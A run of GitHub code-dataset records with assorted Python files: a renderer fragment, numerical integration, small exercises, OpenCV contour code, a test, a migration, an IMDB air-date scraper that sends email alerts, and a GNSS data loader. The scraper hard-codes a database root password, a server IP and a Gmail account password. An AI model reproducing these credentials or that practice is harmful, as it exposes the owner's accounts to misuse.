Diffuse Shading\r\n diffuse_brightness = max(light.get_ray(hit_location) @ -normalize(hit_object.get_surface_normal(hit_location)), 0)\r\n diffuse_color += hit_object.material.get_diffuse_coef() * (diffuse_brightness * np.array(light.color))\r\n \r\n # Spectral Shading\r\n spectral_brightness = max(\r\n -(normalize(reflect(light.get_ray(hit_location), hit_object.get_surface_normal(hit_location))) @ camera_ray.ray_direction),\r\n 0\r\n ) ** hit_object.material.get_spectral_p_coef()\r\n spectral_color += hit_object.material.get_spectral_coef() * (spectral_brightness * np.array(light.color))\r\n \r\n pixel_color += diffuse_color\r\n pixel_color += spectral_color\r\n \r\n \r\n return pixel_color","repo_name":"HamzzaShaikh/Ray-Marching-Renderer","sub_path":"raymarch_full/scene.py","file_name":"scene.py","file_ext":"py","file_size_in_byte":8112,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"6914689945","text":"from numpy.polynomial.hermite import hermgauss\nimport torch\n\ndef hermite_gauss_2d(func, deg, device='cpu'):\n x, w = hermgauss(deg)\n x = torch.asarray(x)\n w = torch.asarray(w)\n X, Y = torch.meshgrid(x, x)\n W = w[:, None] @ w[None, :]\n\n return (W.to(device) * func(X.to(device), Y.to(device))).sum()\n","repo_name":"rekino/HarmonicLayer","sub_path":"src/harmonet_rekino/integrate/cubature.py","file_name":"cubature.py","file_ext":"py","file_size_in_byte":316,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"73283724073","text":"# a program that takes an input from the user then print ransom answers from the 8ball\n# In your program, allow a person to input a question, and then create a random number. Based on the random number, pick a response to the question using if, elif, and else statemen\nimport random\naffirmative = [\"It is certain\", \"It is decidedly so\", \"Without a doubt\", \"Yes definitely\", \"You may rely on it\", \"As I see it, yes\", \"Most likely\", \"Outlook good\", \"Yes\", \"Signs point to yes\"]\nnegative = [\"Reply hazy try again\", \" Ask again later\", \" Better not tell you now\", \"Cannot predict now\", \"Concentrate and ask again\"]\nnon_commital = [\"Don't count on it\", \"My reply is no\", \"My sources say no\", \"Outlook not so good\", \"very doubtful\"]\na = random.choice(affirmative)\nb = random.choice(negative)\nc = random.choice(non_commital)\nquestion = input(\"ask me a random question: \")\nrandom_number = random.randint(1,20)\nif random_number > 15:\n print(c)\nelif random_number > 10:\n print(b)\nelse:\n print(a)\n","repo_name":"newtonkiragu/learning-python","sub_path":"magic-8-ball/magic_8_ball.py","file_name":"magic_8_ball.py","file_ext":"py","file_size_in_byte":996,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"1129062163","text":"def stretch(word, mult):\n s = \"\"\n for char in word:\n s += char * mult\n return s\n\nrow, col, xrow, xcol = [int(i) for i in input().split()]\nrows = []\n\nfor i in range(row):\n rows.append(input())\n\nfor i in range(row*xrow):\n print(stretch(rows[i // xrow], xcol))\n","repo_name":"Hexfall/Kattis","sub_path":"skener.py","file_name":"skener.py","file_ext":"py","file_size_in_byte":280,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"31828740867","text":"import cv2\nimport numpy as np\n\nm1 = cv2.imread(\"./3d-green-letter-o.png\", 0)\nm2 = cv2.cvtColor(m1, cv2.COLOR_BAYER_BG2GRAY) #弄成灰階\n#m2圖設定門檻值為127, 及二值化後的最大值是255, 超過127的像素設為255, 低於127的像素設為0,\nth, m2 = cv2.threshold(m2, 127, 255, cv2.THRESH_BINARY|cv2.THRESH_OTSU)\n#cv2.RETR_TREE儲存所有輪廓及對應資料, cv2.CHAIN_APPROX_NONE儲存所有輪廓點\nct, th = cv2.findContours(m2, cv2.RETR_TREE, cv2.CHAIN_APPROX_NONE)\nprint(\"輪廓點是:\", ct)\nprint(\"輪廓階層資料:\", th)\n\n# #繪製輪廓,\n# m3 = np.full(m1.shape, 255, np.uint8)\n# #畫m3圖 ct存取全部輪廓索引, -1 是所有輪廓都畫, (0,0,255)用紅色, 粗細度2\n# #相臨輪廓:輪廓在旁邊沒有把它包起來, 包覆:外面的輪廓包含住裏面的輪廓\n# cv2.drawContours(m3, ct, 2, (0,0,255), 2)\n#\n# cv2.imshow(\"m1\", m1)\n# cv2.imshow(\"m3\", m3)\n# cv2.waitKey(0)\n# cv2.destroyAllWindows()\n\n#取輪廓點:\nm3 = np.full(m1.shape, 255, np.uint8)\nfor d in range(0, len(ct)):\n x, y, w, h = cv2.boundingRect(ct[d])\n if w < m1.shape[1]*0.3: #m1.shpe[1]是指圖像的寬的0.2倍. m3裏面物體的寬度小於原圖的20%就取輪廓\n cv2.rectangle(m1,(x,y), (x+w, y+h), (0,0,255), 2) #畫一個矩形.\n #cv2.drawContours(m3, ct, d, (0,0,255), 2)\ncv2.imshow(\"m3\", m3)\ncv2.imshow(\"m1\", m1)\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n\n#取輪廓點\nm1 = cv2.imread(\"./3d-green-letter-o.png\", 0)\nth, m2 = cv2.threshold(m2, 240, 255, cv2.THRESH_BINARY|cv2.THRESH_OTSU)\nm3 = np.full(m1.shape, 255, np.uint8)\nfor d in range(0, len(ct)):\n x, y, w, h = cv2.boundingRect(ct[d])\n if w>h*2:\n cv2.imshow(\"m3\"+str(d), m1[y:y+h, x:x+w])\n cv2.rectangle(m1, (x,y), (x+w, y+h), (0,0,255), 2)\n\ncv2.imshow(\"m3\", m3)\ncv2.imshow(\"m1\", m1)\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n","repo_name":"Nier1112/tibame_AI02","sub_path":"Python Basic/py0418_OpenCV_bound_2.py","file_name":"py0418_OpenCV_bound_2.py","file_ext":"py","file_size_in_byte":1841,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"7062045365","text":"class Solution:\n def groupAnagrams(self, strs: List[str]) -> List[List[str]]:\n if len(strs) == 1:\n return [strs]\n anagrams = dict()\n for i in strs:\n count = [0] * 26\n for c in i:\n count[ord(c) - ord('a')] += 1\n key = str(count)\n if key not in anagrams:\n anagrams[key] = [i]\n else:\n anagrams[key].append(i)\n return anagrams.values()","repo_name":"nadeemakhter0602/LeetCode","sub_path":"Group Anagrams/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":473,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"459047629","text":"from datetime import datetime\n\nimport pytest\n\nfrom travel.rasp.pathfinder_maps.const import MSK_TZ\nfrom travel.rasp.pathfinder_maps.models.variant import Variant\nfrom travel.rasp.pathfinder_maps.services.morda_backend_service import MordaBackendService\nfrom travel.rasp.pathfinder_maps.tests.utils import MordaBackendClientStub, create_route\nfrom travel.rasp.pathfinder_maps.tests.utils.fixtures import ( # noqa: F401\n ekb_station, moscow_station, saratov_station, protobuf_data_provider\n)\n\n\n@pytest.mark.asyncio\nasync def test_morda_backend_service_search(ekb_station, moscow_station, saratov_station, protobuf_data_provider): # noqa: F811\n values = 'station', 2000005, 'settlement', 54, datetime(2020, 2, 7, 20, 31, 53, tzinfo=MSK_TZ)\n keys = 'from_type', 'from_id', 'to_type', 'to_id', 'date'\n query = dict(zip(keys, values))\n\n thread_info_1 = [578026383, '047Й', 1, (2000005, 9623135), [2000005, 9623135]]\n thread_info_2 = [597522912, '105Ж', 1, (9623135, 9607404), [9623135, 9607404]]\n\n client = MordaBackendClientStub({\n values: [\n Variant([\n create_route(\n '047J_0_2',\n datetime(2020, 2, 8, 13, 44), 2000005,\n datetime(2020, 2, 9, 5, 29), 9623135,\n thread_info_1\n ),\n create_route(\n '105ZH_1_2',\n datetime(2020, 2, 9, 7, 0), 9623135,\n datetime(2020, 2, 10, 14, 20), 9607404,\n thread_info_2\n )\n ])]\n })\n\n morda_backend_service = MordaBackendService(client, protobuf_data_provider)\n\n variants = await morda_backend_service.search(query)\n assert len(variants) == 1\n\n routes = variants[0].routes\n assert len(routes) == 3\n\n reference_stations = [\n [moscow_station, saratov_station],\n [saratov_station, saratov_station],\n [saratov_station, ekb_station]\n ]\n res_stations = [[x.departure_station, x.arrival_station] for x in routes]\n\n for (reference_arrival, reference_departure), (res_arrival, res_departure) in zip(reference_stations, res_stations):\n assert res_arrival == reference_arrival\n assert res_departure == reference_departure\n","repo_name":"Alexander-Berg/2022-test-examples-3","sub_path":"travel/test_services/test_morda_backend_service.py","file_name":"test_morda_backend_service.py","file_ext":"py","file_size_in_byte":2268,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"23479037541","text":"\"\"\"add_tnx_hash_to_order\n\nRevision ID: 216052c25c8c\nRevises: c16a0c0f2053\nCreate Date: 2023-07-19 11:16:50.976221\n\n\"\"\"\nimport sqlalchemy as sa\nfrom alembic import op\n\n# revision identifiers, used by Alembic.\nrevision = \"216052c25c8c\"\ndown_revision = \"c16a0c0f2053\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade() -> None:\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column(\"order\", sa.Column(\"tnx_hash\", sa.String(length=66), nullable=False))\n # ### end Alembic commands ###\n\n\ndef downgrade() -> None:\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column(\"order\", \"tnx_hash\")\n # ### end Alembic commands ###\n","repo_name":"Vlad-Tsaryk/CryptoWallet","sub_path":"alembic/versions/2023-07-19_11:16_add_tnx_hash_to_order.py","file_name":"2023-07-19_11:16_add_tnx_hash_to_order.py","file_ext":"py","file_size_in_byte":686,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"73715167912","text":"import MySQLdb\nfrom bs4 import BeautifulSoup\nimport requests\nimport pandas as pd\nimport datetime\nimport calendar\nimport json\nfrom warnings import filterwarnings\nimport smtplib\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.text import MIMEText\n\nfilterwarnings('ignore', category = MySQLdb.Warning)\n\ndef add_user_data(Email, Tv_series) :\n\t\"\"\"This method stores the Email and subscription of opted TV series in MySqlDB database.\n\t:param Email : The email address of the subscriber.\n\t:param Tv_series: String of Subscribed TV series separated by comma(, ).\n\t:return: returns nothing\"\"\"\n\n\ttry: \n\t\t#Establishing connection with the database server. \n\t\tdb_connection= MySQLdb.connect(host=\"139.59.91.20\",port=3306,user=\"root\",passwd=\"agnihotri987\",db=\"imdb\")\n\texcept: \n\t\tprint(\"Can't connect to database\") \n\t\treturn 0\n\n\t#Creating a cursor\n\tcursor=db_connection.cursor()\n\t\n\t# cursor.execute('DROP TABLE IF EXISTS imdb.user_table;') \n\tcursor.execute('CREATE TABLE IF NOT EXISTS imdb.user_table(\\\n\t\t\t\t\t\temail LONGTEXT NOT NULL,\\\n\t\t\t\t\t\ttv_series LONGTEXT NOT NULL);') \n\t\n\t#query execution\n\tcursor.execute(\"INSERT INTO imdb.user_table( email, tv_series)\" \"VALUES(%s, %s);\",(Email, Tv_series,))\n\t\n\t#commiting the current transaction\n\tdb_connection.commit()\n\n\t#close database connection\n\tdb_connection.close()\n\n\n\ndef findTitleId(tv_series_name):\n\t\"\"\"This method return the hashed TitleId of the TV series by searching in imdb dataset\"\"\"\n\t#Trying to connect \n\ttry: \n\t\tdb_connection= MySQLdb.connect(host=\"139.59.91.20\",port=3306,user=\"root\",passwd=\"agnihotri987\",db=\"imdb\") \n\t# If connection is not successful \n\texcept: \n\t\tprint(\"Can't connect to database\") \n\t\treturn 0\n\t# If Connection Is Successful \n\t#print(\"Connected\") \n \n\t# Making Cursor Object For Query Execution \n\tcursor=db_connection.cursor() \n \n\t# Executing Query \n\tcursor.execute(\"SELECT titleId FROM imdb.akas WHERE LOWER(title)=%s order by types asc;\",(tv_series_name,))\n\t\n\t# Fetching Data \n\tm = cursor.fetchall() \n \t\n\t# Closing Database Connection \n\tdb_connection.close() \n\treturn m\n\n\ndef getFinalTitleId(titleIdList) :\n\t\"\"\" This method searched all title Id's in titleIdList sequentially and return a title Id if it is a TV series\n\t:param titleIdList: Contains list of all candidate title Id's of TV series, TV series episodes and movies with same name\n\t:return : return a string consisting of titleId of a TV series\"\"\"\n\tfinalTitleId = \"\"\n\t\t\t\n\tfor titleId in titleIdList :\n\t\t#For each title in titleIdList check if it is a TV series\n\t\t#link : stores Hyperlink of movie or TV series generated with titleId\n\t\tlink = \"https://www.imdb.com/title/\"+titleId[0]\n\t\t\n\t\tfound = False\n\t\twhile not found :\n\t\t\t#page: HTML content of website of the TV series or movie.\n\t\t\tpage = requests.get(link)\n\t\t\tif(page.ok) :\n\t\t\t\tfound = True\n\n\t\t#soup : BeautifulSoup object of html content of the website of TV series or movie.\n\t\tsoup = BeautifulSoup(page.content, 'html.parser')\n\t\t\n\t\t#jsonText : BeautifulSoup object of json searched of the html content.\n\t\tjsonText = soup.find('script' , type=\"application/ld+json\").get_text()\n\t\t\n\t\t#jsonData : Extract json object. \n\t\tjsonData = json.loads(jsonText)\n\t\t\n\t\t#if the link is of TV series then it is finalTitleId.\n\t\tif jsonData['@type'] == \"TVSeries\" :\n\t\t\tfinalTitleId = titleId[0]\n\t\t\tbreak\n\treturn finalTitleId\n\ndef convertDateinFormat(date) :\n\t\"\"\"This method converts the date of form \"15 Jan. 2019\" or \"2019\" to datetime object for comparing with current date and time.\n\t:param date : Date in the form of string.\n\t:return : Returns datetime object for the input date.\"\"\"\n\t\n\t#Dictionary of months abbreviation name with their respective numbers i.e. months_dict[Jan]=1, months_dict[Feb]=2 \n\tmonths_dict = {abbr: num for num,abbr in enumerate(calendar.month_abbr)}\n\t\n\t#Separating Days, Months and Years and storing it in a list date_list.\n\tdate_list = date.split(\" \")\n\t\n\tif(len(date_list) == 1) :\n\t\t#When only year is present\n\t\tday = \"1\"\n\t\tmonth_abr = \"Jan\"\n\t\tyear = date_list[0]\n\telif(len(date_list) == 2) :\n\t\t#When month and year is present\n\t\tday = \"1\"\n\t\tmonth_abr = date_list[0]\n\t\tyear = date_list[1]\n\t\tmonth_abr = month_abr.strip(\".\")\n\telse :\n\t\t#When day, month and year all are present\n\t\tday, month_abr, year = map(str,date_list)\n\t\tmonth_abr = month_abr.strip(\".\")\n\tmonth = months_dict[month_abr]\n\t#month stores the respective number representation for the month.\n\treturn datetime.datetime(int(year), month, int(day))\n\ndef scrapeAirDates (link) :\n\t\"\"\"This method scraped airdates of episode of latest season of a TV series\n\t:param link : Hyperlink of the webpage to be scraped\n\t:return : returns pandas object containing airdates of episode of latest season\"\"\"\n\tfound = False\n\twhile not found :\n\t\ttv_series_page = requests.get(link)\n\t\tif(tv_series_page.ok) :\n\t\t\tfound = True\n\n\t#soup1 : BeautifulSoup object of html content of the imdb TV series website\n\tsoup1 = BeautifulSoup(tv_series_page.content, 'html.parser')\n\n\t#episode_widget : extracting all div tags with particular id.\n\tepisode_widget = soup1.find('div', id='title-episode-widget')\n\n\t#a_tag = Extracting first a tag i.e. which contains the hyperlink of latest season\n\ta_tag = episode_widget.find('a')\n\n\thref = a_tag['href']\n\t\n\tfound = False\n\twhile not found :\n\t\tepisode_page = requests.get(\"https://www.imdb.com\"+href)\n\t\tif(episode_page.ok) :\n\t\t\tfound = True\n\n\t# print(\"https://www.imdb.com\"+href)\n\tsoup2 = BeautifulSoup(episode_page.content, 'html.parser')\n\n\t#div_airdate : Extracting all div tags with class as airdates\n\tdiv_airdate = soup2.select(\"div .airdate\")\n\t\n\t#list containing all airdates\n\tairdates = []\n\t\n\t#list containing all airdates\n\tfor ad in div_airdate :\n\t\t#For each div tag extract its content i.e. airdate.\n\t\tairdate = ad.get_text().strip()\n\t\tif(airdate) :\n\t\t\tairdates.append(airdate)\n\t\n\t#pd_airdates : Pandas object for all airdates\n\tpd_airdates = pd.DataFrame({\"airdate\" : airdates})\n\treturn pd_airdates\n\n\ndef getAirdateStatus(pd_airdates, dim, CurrentDate) :\n\t\"\"\" This method Compares the Expected date of the episodes with the Current date and tells the status airdate of the TV series \n\t:param pd_airdates : Pandas object storing the airdates of all episodes of last season of a TV series\n\t:param dim : num of rows of pd_airdates pandas object\n\t:param CurrentDate : Current date as datetime object \n\t:return : returns a string consisting of status of the TV series\n\t\"\"\"\n\tmsg_status = \"\"\n\tflag = True\n\tfor index in range(dim) :\n\t\t\"\"\"For airdate of each episode of the latest season check -\n\t\t\t-(Finished streaming all episodes)whether all airdates are less than current date\n\t\t\t-(Next episode Release date)whether there exists an episode with an airdate more than current date and it is not first episode\n\t\t\t-(Next season Release date)whether the first episode has airdate for than curret date\"\"\"\n\t\tdate = pd_airdates.iloc[index,0]\n\t\tDate = date.split()\n\t\tExpectedDate = convertDateinFormat(date)\n\t\t# print(ExpectedDate)\n\t\tif(ExpectedDate > CurrentDate) :\n\t\t\tflag = False\n\t\t\tif(index == 0) :\n\t\t\t\tmsg_status = msg_status + \"The next season begins in \" + date +\".\\n\"\n\t\t\telse :\n\t\t\t\tmsg_status = msg_status + \"Next episode airs on \" + date + \".\\n\"\n\t\t\tbreak\n\t\telif(len(Date) == 1) and (datetime.date.today().year == int(date) ) :\n\t\t\tflag = False\n\t\t\tif(index == 0) :\n\t\t\t\tmsg_status = msg_status + \"The next season begins in \" + date +\".\\n\"\n\t\t\telse :\n\t\t\t\tmsg_status = msg_status + \"Next episode airs on \" + date + \".\\n\"\n\t\t\tbreak\n\t\t\t\n\tif(flag) :\n\t\tmsg_status = msg_status + \"The show has finished streaming all its episodes.\" + \"\\n\"\n\n\treturn msg_status\n\n\ndef send_email(EmailId, message) :\n\t\"\"\"This method sends email using smtp gmail account \n\t:param EmailId : Email address of the user\n\t:param message : the message which is send over email\"\"\"\n\n\t# create message object instance\n\tmsg_obj = MIMEMultipart()\n\t \n\t# setup the parameters of the message\n\tpassword = \"Ayushhsuya1671\"\n\tmsg_obj['From'] = \"iim2015004ayush@gmail.com\"\n\tmsg_obj['To'] = EmailId\n\tmsg_obj['Subject'] = \"Subscription\"\n\t \n\t# add in the message body\n\tmsg_obj.attach(MIMEText(message, 'plain'))\n\t \n\t#create server\n\tserver = smtplib.SMTP('smtp.gmail.com', 587)\n\t\n\t#starting tls server\n\tserver.starttls()\n\t \n\t# Login Credentials for sending the mail\n\tserver.login(msg_obj['From'], password)\n\t \n\t \n\t# send the message via the server.\n\tserver.sendmail(msg_obj['From'], msg_obj['To'], msg_obj.as_string())\n\t\n\t#Exiting the mail server.\n\tserver.quit()\n\t\n\t#Output message\n\tprint(\"Successfully sent email to %s:\" % (msg_obj['To']))\n\n\ndef main() :\n\t\"\"\" Main method to take Inputs as - Number of users and for each user - its email address and list of TV series subscribed.\n\t:return : Returns nothing\"\"\"\n\tprint(\"Enter number of users :\")\n\tnum_of_users = int(input())\n\t\n\t#data : a list of lists of user data[email,tv_series].\n\tdata = []\n\n\t#taking input as Email and TV series for num_of_users \n\twhile num_of_users > 0 :\n\t\tnum_of_users = num_of_users - 1\n\t\tprint()\n\t\tprint(\"Email address :\", end=\" \")\n\t\temail = input()\n\t\tprint(\"TV Series :\", end=\" \")\n\t\ttvSeriesList = input()\n\n\t\t#adds data of a user to the database.\n\t\tadd_user_data(email,tvSeriesList)\n\t\tdata.append([email, tvSeriesList])\n\t\t\n\t#CurrentDate : datetime object for current date.\n\tCurrentDate = datetime.datetime.now()\n\t\t\t\t\t\n\tfor row in data :\n\t\t#For each user search status of all its subscribed TV series\n\t\tEmailId = row[0]\n\t\tmsg = \"\"\n\t\ttvSeriesList = row[1].split(\",\")\n\t\t#tvSeriesList : contains all the Tv series subscribed by a user in form of a list.\n\t\t\n\t\tfor tv_series in tvSeriesList :\n\t\t\ttv_series = tv_series.strip()\n\t\t\t\n\t\t\tmsg_tv_series = \"Tv series name: \" + tv_series + \"\\n\"\n\t\t\tmsg_status = \"Status: \"\n\t\t\t\n\t\t\t#titleIdList : list of all candidate title Id's from IMDB dataset for TV series, its episodes and movies with similar names.\n\t\t\ttitleIdList = findTitleId(tv_series.lower())\n\t\t\t\n\t\t\t#finalTitleId : stores the titleId of finalized TV series \n\t\t\tfinalTitleId = getFinalTitleId(titleIdList)\n\n\t\t\tif(finalTitleId) :\n\t\t\t\tlink = \"https://www.imdb.com/title/\" + finalTitleId\n\t\t\t\t\n\t\t\t\t#pd_airdates : pandas object containing airdates of episode of latest season\n\t\t\t\tpd_airdates = scrapeAirDates(link)\n\t\t\t\t\n\t\t\t\t#dim : Dimensions of pandas object pd_airdates\n\t\t\t\tdim = pd_airdates.shape[0]\n\n\t\t\t\t#msg_status : Status of release date of TV series\n\t\t\t\tmsg_status = getAirdateStatus(pd_airdates, dim, CurrentDate)\n\n\t\t\tmsg = msg + (msg_tv_series + msg_status + \"\\n\")\t\n\n\t\tprint(EmailId)\n\t\tprint(msg)\n\n\t\tsend_email(EmailId, msg)\n\nif __name__ == '__main__':\n\tmain()","repo_name":"AyushAgnihotri/Entertainment-tracker","sub_path":"Approach1/Approach1.py","file_name":"Approach1.py","file_ext":"py","file_size_in_byte":10464,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"38780185063","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Jun 26 20:10:23 2021\n\n@author: demust\n\"\"\"\n\nimport sqlite3 as sql\nimport gpxpy\nimport pandas as pd\nimport numpy as np\n\nfrom geopy.distance import distance as gdist\nfrom geopy.point import Point\n\nimport sys\nimport os\n\n\n\"\"\"PATH\"\"\"\n\ndatabase_dir = \"Database/\"\ndatabase_name = \"GNSS recordings.db\"\nrecordings_dir = \"GNSS recordings/\"\nlist_of_recordings = \"listOfRecordings.csv\"\n\nif not os.path.exists(database_dir):\n os.makedirs(database_dir)\n\ndatabase_path = os.path.join(database_dir, database_name)\nrecordings_path = os.path.join(database_dir, recordings_dir)\n\nGNSS_files = [\n f for f in os.listdir(os.path.join(database_dir, recordings_dir)) if os.path.isfile(os.path.join(database_dir, recordings_dir, f))\n]\nGNSS_files.sort()\n\n\"\"\"Main simulation class\"\"\"\n\n\ndef main():\n \"\"\"Calling simulation model.\"\"\"\n\n Model.initDatabase(database_path, GNSS_files, list_of_recordings)\n Model.loadRealization(recordings_path)\n Model.calcRawRealization()\n Model.saveToDatabase(database_path)\n\n\n\"\"\"Simulation model\"\"\"\n\n\nclass Realizations:\n \"\"\"Class definition for storing GNSS data.\"\"\"\n\n def __init__(self):\n self.rawRealizations = []\n self.newRecordings = pd.DataFrame()\n\n def initDatabase(self, dbPath, fileList, listOfRecs):\n \"\"\"Check input data interity, open connection to database and check database integrity. Generate list of new files.\"\"\"\n try:\n df_recs = pd.read_csv(listOfRecs)\n self.newRecordings = self.newRecordings.reindex(\n columns=df_recs.columns)\n except FileNotFoundError:\n print(f\"{listOfRecs} initDatabase: File not found!\")\n sys.exit()\n\n for each in fileList:\n entryCounter = df_recs.fileName.str.contains(each).sum()\n if entryCounter == 0:\n print(f\"No entry for {each}\")\n if entryCounter == 1:\n self.newRecordings = self.newRecordings.append(\n df_recs[df_recs.fileName == each])\n if entryCounter > 1:\n print(f\"Duplicate entry for {each}\")\n\n for each in df_recs.fileName:\n if not any(each in x for x in fileList):\n print(f\"No file found for {each}\")\n\n con = sql.connect(dbPath)\n try:\n db_recs = pd.read_sql(\"\"\"SELECT * FROM listOfRecordings\"\"\", con)\n except pd.io.sql.DatabaseError:\n con.execute(\"\"\"CREATE TABLE listOfRecordings (\n id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,\n fileName TEXT,\n recType TEXT,\n dateTime DATETIME,\n fromStation TEXT,\n toStation TEXT,\n trainConfig TEXT,\n trainType TEXT,\n receiverType TEXT);\"\"\")\n con.commit()\n db_recs = pd.read_sql(\"\"\"SELECT * FROM listOfRecordings\"\"\", con)\n\n con.close()\n pd.set_option('display.max_columns', None)\n print(\"Database content:\")\n print(db_recs)\n\n print(\n f\"\\nChecking integrity of database with {listOfRecs}\")\n db_recs.drop(columns='id', inplace=True)\n for each in db_recs.fileName:\n posf = df_recs.loc[df_recs.fileName == each]\n posd = db_recs.loc[db_recs.fileName == each]\n\n if (posf.iloc[0] != posd.iloc[0]).any():\n print(f\"Inconsistency found: {each}\")\n\n for each in db_recs.fileName:\n if any(each in x for x in self.newRecordings.fileName):\n self.newRecordings.drop(\n self.newRecordings.loc[self.newRecordings.fileName == each].index, inplace=True)\n\n if not self.newRecordings.empty:\n print(\"\\nNew recordings found:\")\n print(self.newRecordings)\n ans = input(\"\\nContinue with database update? (y/n): \")\n if ans == 'y' or ans == 'Y' or ans == '':\n print(\"\\nUpdating database.\\n\")\n else:\n print(\"\\nExiting.\\n\")\n sys.exit()\n else:\n print(\"\\nDatabase is up to date.\\n\")\n sys.exit()\n\n def loadRealization(self, recPath):\n \"\"\"Load and calculate GNSS data from file.\"\"\"\n print(\"Loading GNSS data:\")\n for file_idx, file_instance in enumerate(self.newRecordings.fileName):\n file = os.path.join(recPath, file_instance)\n self.rawRealizations.append(\n pd.DataFrame(\n columns=[\n \"trackName\",\n \"lon\",\n \"lat\",\n \"alt\",\n \"hdop\",\n \"vdop\",\n \"pdop\",\n \"nSAT\",\n \"v\",\n \"t\",\n \"s\",\n \"a\",\n ]\n )\n )\n\n if file_instance.endswith(\"UBX.CSV\") or file_instance.endswith(\"UBX.csv\") or file_instance.startswith(\"UBX\"):\n try:\n fileType = \"UBX\"\n samplingFreq = 5\n df = pd.read_csv(file)\n except FileNotFoundError:\n print(f\"{file_instance} Track data: File not found!\")\n sys.exit()\n elif file_instance.endswith(\"PMTK.CSV\") or file_instance.endswith(\"PMTK.csv\") or file_instance.startswith(\"PMTK\"):\n try:\n fileType = \"PMTK\"\n samplingFreq = 10\n df = pd.read_csv(file)\n except FileNotFoundError:\n print(f\"{file_instance} Track data: File not found!\")\n sys.exit()\n elif file_instance.endswith(\".gpx\"):\n try:\n fileType = \"GPX\"\n samplingFreq = 1\n gpx_file = open(file, \"r\")\n gpx = gpxpy.parse(gpx_file)\n except FileNotFoundError:\n print(f\"{file_instance} Track data: File not found!\")\n sys.exit()\n else:\n print(f\"Unknown file format {file_instance}!\")\n sys.exit()\n\n if fileType == \"UBX\":\n t0 = df.Hour.iloc[0] * 3600 + \\\n df.Minute.iloc[0] * 60 + df.Second.iloc[0]\n self.rawRealizations[-1].lon = df.Lon / 1.0e7\n self.rawRealizations[-1].lat = df.Lat / 1.0e7\n self.rawRealizations[-1].alt = df.Alt2 / 1.0e3\n self.rawRealizations[-1].hdop = 0.0\n self.rawRealizations[-1].vdop = 0.0\n self.rawRealizations[-1].pdop = df.PDOP / 1.0e2\n self.rawRealizations[-1].nSAT = df.nSAT\n self.rawRealizations[-1].v = df.speed / 1.0e3\n self.rawRealizations[-1].t = (\n df.Hour * 3600 + df.Minute * 60 + df.Second - t0\n )\n elif fileType == \"PMTK\":\n t0 = df.Hour.iloc[0] * 3600 + \\\n df.Minute.iloc[0] * 60 + df.Second.iloc[0]\n self.rawRealizations[-1].lon = df.Lon\n self.rawRealizations[-1].lat = df.Lat\n self.rawRealizations[-1].alt = df.Alt\n self.rawRealizations[-1].hdop = df.hDOP / 100\n self.rawRealizations[-1].vdop = 0.0\n self.rawRealizations[-1].pdop = 0.0\n self.rawRealizations[-1].nSAT = df.nSAT\n self.rawRealizations[-1].v = df.Speed\n self.rawRealizations[-1].t = (\n df.Hour * 3600 + df.Minute * 60 + df.Second - t0\n )\n elif fileType == \"GPX\":\n segment = gpx.tracks[0].segments[0]\n self.rawRealizations[-1].lon = [x.longitude for x in segment.points]\n self.rawRealizations[-1].lat = [x.latitude for x in segment.points]\n self.rawRealizations[-1].alt = [x.elevation for x in segment.points]\n self.rawRealizations[-1].hdop = [\n x.horizontal_dilution for x in segment.points]\n self.rawRealizations[-1].vdop = [\n x.vertical_dilution for x in segment.points]\n self.rawRealizations[-1].pdop = 0.0\n self.rawRealizations[-1].nSAT = 0.0\n self.rawRealizations[-1].t = [x.time_difference(\n segment.points[0]) for x in segment.points]\n self.rawRealizations[-1].v = [x.speed for x in segment.points]\n gpx_file.close()\n\n self.rawRealizations[-1].s = 0.0\n self.rawRealizations[-1].a = np.nan\n self.rawRealizations[-1][\"trackName\"] = file_instance\n\n df_t = self.rawRealizations[-1].t.copy().astype(float).to_numpy()\n for i in range(samplingFreq-1):\n cond = df_t[1:] == df_t[:-1]\n cond = np.insert(cond, 0, False)\n df_t[cond] += 1 / samplingFreq\n self.rawRealizations[-1].t = df_t\n\n point_no = len(self.rawRealizations[-1].index)\n print(f\"\\t\\tLoaded {point_no} points from file {file_instance}\")\n\n def calcRawRealization(self):\n \"\"\"Calculate basic data for rawRealizations.\"\"\"\n print(\"Calculating missing raw data:\")\n for each in self.rawRealizations:\n df_lat = each.lat.copy().astype(float).to_numpy()\n df_lon = each.lon.copy().astype(float).to_numpy()\n df_alt = each.alt.copy().astype(float).to_numpy()\n node1 = list(map(Point, zip(df_lat[1:], df_lon[1:])))\n node2 = list(map(Point, zip(df_lat[:-1], df_lon[:-1])))\n dist = [x.m for x in list(map(gdist, node1, node2))]\n dist = np.sqrt(np.array(dist) ** 2 +\n (df_alt[1:] - df_alt[:-1]) ** 2)\n dist = np.insert(dist, 0, 0.0)\n each.s = np.cumsum(dist)\n\n cond = each.t.shift() != each.t\n\n if each.v.isna().any():\n vel = each.v.copy()\n vel.loc[cond] = np.gradient(each.s.loc[cond], each.t.loc[cond])\n vel.fillna(method='ffill', inplace=True)\n each.v = vel\n acc = each.a.copy()\n acc.loc[cond] = np.gradient(each.v.loc[cond], each.t.loc[cond])\n acc.fillna(method='ffill', inplace=True)\n each.a = acc\n each.s /= 1000\n each.v *= 3.6\n\n print(each.head())\n print(\"Missing raw data calculation 